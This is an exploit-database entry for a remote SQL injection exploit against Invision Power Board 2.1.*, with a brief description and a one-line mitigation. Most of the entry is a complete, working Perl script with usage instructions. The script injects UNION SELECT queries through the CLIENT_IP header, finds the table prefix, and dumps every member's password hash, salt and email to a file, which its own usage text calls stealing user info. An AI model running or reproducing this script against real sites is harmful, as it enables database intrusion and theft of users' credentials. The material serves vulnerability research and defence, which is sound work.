Invision Power Board 2.1.* Remote SQL Injection Exploit

vendor:

Invision Power Board

by:

1dt.w0lf (rst/ghc)

7,5

CVSS

HIGH

SQL Injection

CWE

Product Name: Invision Power Board

Affected Version From: 2.1.*

Affected Version To: 2.1.*

Patch Exists: Unknown

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

Unknown

Invision Power Board 2.1.* Remote SQL Injection Exploit

This exploit allows an attacker to inject malicious SQL queries into a vulnerable Invision Power Board 2.1.* application. The exploit is written in Perl and uses the LWP::UserAgent module to detect the vulnerability and search for the prefix. It then performs a query to extract the converge_id, converge_pass_hash, converge_pass_salt, and converge_email from the vulnerable database. The results are stored in a txt file.

Mitigation:

Ensure that user input is properly sanitized and validated before being used in a SQL query.

Source

Exploit-DB raw data:

#!/usr/bin/perl
use LWP::UserAgent; 
$ua = LWP::UserAgent->new; 
&header();
if (@ARGV < 2) {&info(); exit();}
$server = $ARGV[0];
$dir = $ARGV[1];
print "[+] SERVER {$server}\r\n";
print "[+] DIR {$dir}\r\n";
#Step 1, detecting vulnerability
print "[1] Testing forum vulnerability...";
$q = "UNION SELECT 'VULN',1,1,1/*";
query($q,$server,$dir);
if($rep =~/VULN/){ print "forum vulnerable\r\n"; }
else 
    {
     print "forum unvulnerable\r\n";
	 &footer();
     exit();
    }
#Step 2, detecting prefix
print "[2] Searching prefix...";
$q = "";
query($q,$server,$dir);
$prefix = $rep;
print $prefix."\r\n";
#Step 3, make query
print "[3] Performing query; it may take several minutes, plz, wait...\r\n";
$q1 = "UNION SELECT MAX(converge_id),1,1,1 FROM ".$prefix."members_converge/*";
query($q1,$server,$dir);
$kol = $rep;
open(RES,">".$server."_result.txt");
for($id = 1; $id <= $kol; $id++)
    {
	 $own_query = "UNION SELECT converge_pass_hash,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
     query($own_query,$server,$dir);
     if($rep=~/[0-9a-f]{32}/i) 
	    {
	     $hash = $rep;
		 $own_query = "UNION SELECT converge_pass_salt,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
         query($own_query,$server,$dir);
         if(length($rep)==5) 
		    {
			 $salt = $rep;
			 $own_query = "UNION SELECT converge_email,1,1,1 FROM ".$prefix."members_converge WHERE converge_id=".$id."/*";
             query($own_query,$server,$dir);
			 if(length($rep)>0)
			    {
				 $email = $rep;
				 print RES $id.":".$hash.":".$salt."::".$email."\n";
			    }
			}		 
		}
    }
close(RES);
print "[!] Query was successfully perfomed. Results are in txt files\r\n";
&footer();
$ex = <STDIN>;
sub footer()
    {
     print "[G] Greets: 1dt.w0lf (rst/ghc)\r\n";
     print "[L] Visit: secbun.info | damagelab.org | rst.void.ru\r\n";
    }
sub header()
{
print q(
----------------------------------------------------------
* Invision Power Board 2.1.* Remote SQL Injecton Exploit *
*       Based on r57-Advisory#41 by 1dt.w0lf (rst/ghc)   *
*                Coded by w4g.not null                   *
*              FOR EDUCATIONAL PURPOSES *ONLY*           *
----------------------------------------------------------
);
}
sub info()
{
 print q(
[i] Usage: perl w4gipb216.pl [server] [/dir/]
     where
	   |- server - server, where IPB installed without http://
	   |- /dir/ - dir, where IPB installed or / for no dir
	 e.g perl w4gipb216.pl someserver.com /forum/
[i] Stealing info about users (format id:pass:salt::email)	  
[!] Need MySQL > 4.0 
 );
}
sub query()
    {
     my($q,$server,$dir) = @_;
     $res = $ua->get("http://".$server.$dir."index.php?s=w00t",'USER_AGENT'=>'','CLIENT_IP'=>"' ".$q); 
     if($res->is_success)
        {
         $rep = '';
         if($res->as_string =~ /ipb_var_s(\s*)=(\s*)"(.*)"/) { $rep = $3; }
         else
   		    {
             if($res->as_string =~ /FROM (.*)sessions/) { $rep = $1; }
            }
        }
     return $rep;
    }

# milw0rm.com [2006-07-18]